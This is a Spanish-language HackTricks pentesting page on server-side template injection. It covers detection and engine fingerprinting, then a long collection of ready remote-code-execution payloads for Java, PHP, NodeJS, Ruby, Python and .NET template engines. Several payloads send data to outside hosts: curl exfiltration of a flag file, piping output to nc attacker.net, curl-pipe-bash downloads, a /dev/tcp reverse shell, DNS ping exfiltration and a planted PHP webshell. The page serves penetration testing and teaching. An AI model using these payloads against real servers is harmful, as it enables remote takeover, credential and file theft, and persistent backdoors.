hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

46 KiB
Raw Blame History

SSTI (Inyección de Plantillas en el Servidor)

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro efervescente para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

{% embed url="https://www.rootedcon.com/" %}

¿Qué es la inyección de plantillas en el servidor?

Una inyección de plantillas en el servidor ocurre cuando un atacante es capaz de utilizar la sintaxis nativa de la plantilla para inyectar una carga maliciosa en una plantilla, que luego se ejecuta en el servidor.

Los motores de plantillas están diseñados para generar páginas web combinando plantillas fijas con datos volátiles. Los ataques de inyección de plantillas en el servidor pueden ocurrir cuando la entrada de usuario se concatena directamente en una plantilla, en lugar de pasarla como datos. Esto permite a los atacantes inyectar directivas de plantilla arbitrarias para manipular el motor de plantillas, lo que a menudo les permite tomar el control completo del servidor.

Un ejemplo de código vulnerable es el siguiente:

$output = $twig->render("Dear " . $_GET['name']);

En el ejemplo anterior, parte de la plantilla se está generando dinámicamente utilizando el parámetro GET name. Como la sintaxis de la plantilla se evalúa en el lado del servidor, esto potencialmente permite a un atacante colocar un payload de inyección de plantilla del lado del servidor dentro del parámetro name de la siguiente manera:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Construcción de un ataque de inyección de plantillas en el servidor

Detectar

Como con cualquier vulnerabilidad, el primer paso hacia su explotación es poder encontrarla. Quizás el enfoque inicial más simple es intentar fuzzear la plantilla inyectando una secuencia de caracteres especiales comúnmente utilizados en expresiones de plantillas, como el polígloto ${{<%[%'"}}%\.
Para comprobar si el servidor es vulnerable, debes observar las diferencias entre la respuesta con datos regulares en el parámetro y el payload proporcionado.
Si se produce un error, será bastante fácil darse cuenta de que el servidor es vulnerable e incluso qué motor está ejecutando. Pero también podrías encontrar un servidor vulnerable si esperabas que reflejara el payload proporcionado y no se está reflejando, o si hay algunos caracteres faltantes en la respuesta.

Detectar - Contexto de texto plano

La entrada proporcionada está siendo renderizada y reflejada en la respuesta. Esto se confunde fácilmente con una vulnerabilidad de XSS simple, pero es fácil diferenciar si intentas establecer operaciones matemáticas dentro de una expresión de plantilla:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Detectar - Contexto de código

En estos casos la entrada del usuario se coloca dentro de una expresión de plantilla:

engine.render("Hello {{"+greeting+"}}", data)

El acceso a la URL que accede a esa página podría ser similar a: http://vulnerable-website.com/?greeting=data.username

Si cambias el parámetro greeting por un valor diferente la respuesta no contendrá el nombre de usuario, pero si accedes a algo como: http://vulnerable-website.com/?greeting=data.username}}hello entonces, la respuesta contendrá el nombre de usuario (si los caracteres de cierre de la expresión de plantilla eran }}).
Si se produce un error durante estas pruebas, será más fácil encontrar que el servidor es vulnerable.

Identificar

Una vez que hayas detectado el potencial de inyección de plantillas, el siguiente paso es identificar el motor de plantillas.
Aunque hay un gran número de lenguajes de plantillas, muchos de ellos utilizan una sintaxis muy similar que se elige específicamente para no entrar en conflicto con los caracteres HTML.

Si tienes suerte, el servidor estará imprimiendo los errores y podrás encontrar el motor utilizado dentro de los errores. Algunas posibles cargas útiles que pueden causar errores:

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

De lo contrario, tendrás que probar manualmente diferentes cargas útiles específicas del lenguaje y estudiar cómo son interpretadas por el motor de plantillas. Una forma común de hacer esto es inyectar operaciones matemáticas arbitrarias utilizando la sintaxis de diferentes motores de plantillas. Luego puedes observar si se evalúan con éxito. Para ayudar con este proceso, puedes usar un árbol de decisión similar al siguiente:

Explotar

Leer

El primer paso después de encontrar la inyección de plantillas e identificar el motor de plantillas es leer la documentación. Las áreas clave de interés son:

  • Secciones 'Para Autores de Plantillas' que cubren la sintaxis básica.
  • 'Consideraciones de Seguridad' - es probable que quien desarrolló la aplicación que estás probando no haya leído esto, y puede contener algunas pistas útiles.
  • Listas de métodos, funciones, filtros y variables integrados.
  • Listas de extensiones/plugins - algunos pueden estar habilitados por defecto.

Explorar

Suponiendo que no se hayan presentado exploits, el siguiente paso es explorar el entorno para averiguar exactamente a qué tienes acceso. Puedes esperar encontrar tanto objetos predeterminados proporcionados por el motor de plantillas, como objetos específicos de la aplicación pasados a la plantilla por el desarrollador. Muchos sistemas de plantillas exponen un objeto 'self' o de espacio de nombres que contiene todo lo que está en el ámbito, y una forma idiomática de listar los atributos y métodos de un objeto.

Si no hay un objeto self integrado, tendrás que forzar nombres de variables usando SecLists y la colección de listas de palabras de Burp Intruder.

Los objetos suministrados por el desarrollador son particularmente propensos a contener información sensible y pueden variar entre diferentes plantillas dentro de una aplicación, por lo que este proceso idealmente debería aplicarse a cada plantilla distinta individualmente.

Atacar

En este punto deberías tener una idea firme de la superficie de ataque disponible para ti y poder proceder con técnicas tradicionales de auditoría de seguridad, revisando cada función en busca de vulnerabilidades explotables. Es importante abordar esto en el contexto de la aplicación más amplia - algunas funciones se pueden utilizar para explotar características específicas de la aplicación. Los ejemplos a seguir utilizarán la inyección de plantillas para desencadenar la creación de objetos arbitrarios, lectura/escritura de archivos arbitrarios, inclusión de archivos remotos, divulgación de información y vulnerabilidades de escalada de privilegios.

Herramientas

TInjA

un escáner eficiente de SSTI + CSTI que utiliza políglotos novedosos

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Tabla de Inyección de Plantillas

una tabla interactiva que contiene los políglotos de inyección de plantillas más eficientes junto con las respuestas esperadas de los 44 motores de plantillas más importantes.

Exploits

Genérico

En esta lista de palabras puedes encontrar variables definidas en los entornos de algunos de los motores mencionados a continuación:

Java

Java - Inyección básica

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Recuperar las variables de entorno del sistema

${T(java.lang.System).getenv()}

Java - Recuperar /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Puedes probar tus payloads en https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nada
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Evasión de Sandbox

⚠️ solo funciona en versiones de Freemarker inferiores a 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Más información

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Más información

Thymeleaf (Java)

La expresión de prueba típica para SSTI es ${7*7}. Esta expresión también funciona en Thymeleaf. Si deseas lograr ejecución remota de código, puedes usar una de las siguientes expresiones de prueba:

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Sin embargo, como mencionamos antes, las expresiones solo funcionan en atributos especiales de Thymeleaf. Si es necesario usar una expresión en una ubicación diferente en la plantilla, Thymeleaf admite inclusión de expresiones. Para usar esta característica, debes colocar una expresión dentro de [[...]] o [(...)] (elige uno u otro dependiendo de si necesitas escapar símbolos especiales). Por lo tanto, una carga útil de detección de SSTI simple para Thymeleaf sería [[${7*7}]].

Sin embargo, las posibilidades de que la carga útil de detección anterior funcione son muy bajas. Las vulnerabilidades de SSTI suelen ocurrir cuando una plantilla se genera dinámicamente en el código. Thymeleaf, por defecto, no permite tales plantillas generadas dinámicamente y todas las plantillas deben crearse con anterioridad. Por lo tanto, si un desarrollador quiere crear una plantilla a partir de una cadena al vuelo, necesitaría crear su propio TemplateResolver. Esto es posible pero ocurre muy raramente.

Si profundizamos en la documentación del motor de plantillas de Thymeleaf, encontraremos una característica interesante llamada preprocesamiento de expresiones. Las expresiones colocadas entre guiones bajos dobles (__...__) se preprocesan y el resultado del preprocesamiento se utiliza como parte de la expresión durante el procesamiento regular. Aquí hay un ejemplo oficial de la documentación de Thymeleaf:

#{selection.__${sel.code}__}

Ejemplo vulnerable

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Más información

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Evitar filtros

Se pueden utilizar múltiples expresiones de variables, si ${...} no funciona intenta #{...}, *{...}, @{...} o ~{...}.

  • Leer /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personalizado para la generación de payloads
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Más información

Manipulación de Vista Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Versión antigua de Pebble ( < versión 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

La nueva versión de Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava es un proyecto de código abierto desarrollado por Hubspot, disponible en https://github.com/HubSpot/jinjava/

Jinjava - Ejecución de comandos

Solucionado por https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Más información

Hubspot - HuBL (Java)

  • {% %} delimitadores de instrucciones
  • {{ }} delimitadores de expresiones
  • {# #} delimitadores de comentarios
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Busca "com.hubspot.content.hubl.context.TemplateContextRequest" y descubre el proyecto Jinjava en Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Más información

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans gestionados). EL es utilizado por varias tecnologías JavaEE, como la tecnología JavaServer Faces, tecnología JavaServer Pages (JSP) y Contexts and Dependency Injection para Java EE (CDI).
Consulta la siguiente página para aprender más sobre la explotación de intérpretes EL:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Este bypass del Security Manager fue tomado de este informe.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro efervescente para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Más información

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nada
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Formato de plantilla

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Más información

Plates (PHP)

Plates se inspira en Twig pero es un motor de plantillas PHP nativo en lugar de un motor de plantillas compilado.

controlador:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

plantilla de página:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

plantilla de diseño:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

PHPlib y HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB es lo mismo que PHPlib pero portado a Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Más información

patTemplate (PHP)

patTemplate es un motor de plantillas PHP que no compila, y que utiliza etiquetas XML para dividir un documento en diferentes partes.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

Path Traversal (más información aquí).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Error
  • ${7*7} = ${7*7}
  • Nada
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Más información

JsRender (NodeJS)

Plantilla Descripción
Evaluar y renderizar salida
Evaluar y renderizar salida codificada en HTML
Comentario
y Permitir código (deshabilitado por defecto)
  • = 49

Lado del Cliente

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Lado del Servidor

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Más información

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Ejemplo de renderizado en el servidor

var pugjs = require('pug');
home = pugjs.render(injected_page)

Más información

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Sin salida
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Error
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Más información

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Más información

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Más información

Python

Consulta la siguiente página para aprender trucos sobre ejecución de comandos arbitrarios evitando sandboxes en python:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Más información

Jinja2 (Python)

Sitio oficial

Jinja2 es un motor de plantillas completo para Python. Cuenta con soporte completo para unicode, un entorno de ejecución opcional integrado y protegido, es ampliamente utilizado y tiene licencia BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nada
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Formato de plantilla

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE no dependiente de __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Más detalles sobre cómo abusar de Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= Éxito
  • @() <= Éxito
  • @("{{code}}") <= Éxito
  • @ <=Éxito
  • @{} <= ¡ERROR!
  • @{ <= ¡ERROR!
  • @(1+2)
  • @( //Código C# )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
